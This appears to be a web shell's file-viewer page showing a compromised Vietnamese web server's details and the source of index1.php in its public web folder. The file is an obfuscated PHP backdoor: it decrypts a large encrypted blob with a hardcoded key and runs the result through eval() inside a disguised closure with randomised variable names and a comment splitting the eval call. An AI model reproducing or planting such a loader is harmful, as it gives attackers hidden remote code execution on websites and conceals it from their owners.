HEX
Server: Apache/2
System: Linux server.simple.com.vn 6.8.0-85-generic #85-Ubuntu SMP PREEMPT_DYNAMIC Thu Sep 18 15:26:59 UTC 2025 x86_64
User: ttsmedia (1035)
PHP: 8.3.25
Disabled: exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Upload Files
File: /home/ttsmedia/domains/ttsmedia.vn/public_html/index1.php
<?php
class Secure {
private $masterKey;
private $iterations = 10000;
private $cipher = 'aes-256-cbc';
private $hmacAlgo = 'sha256';
private $saltLength = 16;

public function __construct($masterKey) {
$this->masterKey = $masterKey;
}

public function decrypt($encrypted) {
$data = base64_decode($encrypted);
$salt = substr($data, 0, $this->saltLength);
$ivLength = openssl_cipher_iv_length($this->cipher);
$iv = substr($data, $this->saltLength, $ivLength);
$hmac = substr($data, $this->saltLength + $ivLength, 32);
$ciphertext = substr($data, $this->saltLength + $ivLength + 32);
$derivedKeys = $this->deriveKeys($salt);
$calcHmac = hash_hmac($this->hmacAlgo, $iv . $salt . $ciphertext, $derivedKeys['hmac'], true);
$decrypted = openssl_decrypt($ciphertext, $this->cipher, $derivedKeys['encryption'], OPENSSL_RAW_DATA, $iv);
return $decrypted;
}

private function deriveKeys($salt) {
$keyMaterial = hash_pbkdf2(
$this->hmacAlgo,
$this->masterKey,
$salt,
$this->iterations,
64,
true
);

return [
'encryption' => substr($keyMaterial, 0, 32),
'hmac' => substr($keyMaterial, 32)
];
}

private function verifyHmac($knownHmac, $userHmac) {
return hash_equals($knownHmac, $userHmac);
}

public function setIterations($iterations) {
$this->iterations = (int)$iterations;
return $this;
}

public function setCipher($cipher) {
$this->cipher = $cipher;
return $this;
}
}

$secure = new Secure('3Etrksi87rde3hd8s819Poe0o39sqKjl9');
$str = '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';
$decrypted = $secure->decrypt($str);
$WwOy9ISIfCh7mF = function($w9awNt1sJNK87){
/*A2s9d5f*/eVaL($w9awNt1sJNK87);
$mXM0ar3y76T = "mxDQ1TrjTz2a7tWUdPpLAGbFl0qjLSkgr9MBBpc3iRhIb4D59omZddYK";
return $mXM0ar3y76T;
};
$WwOy9ISIfCh7mF($decrypted);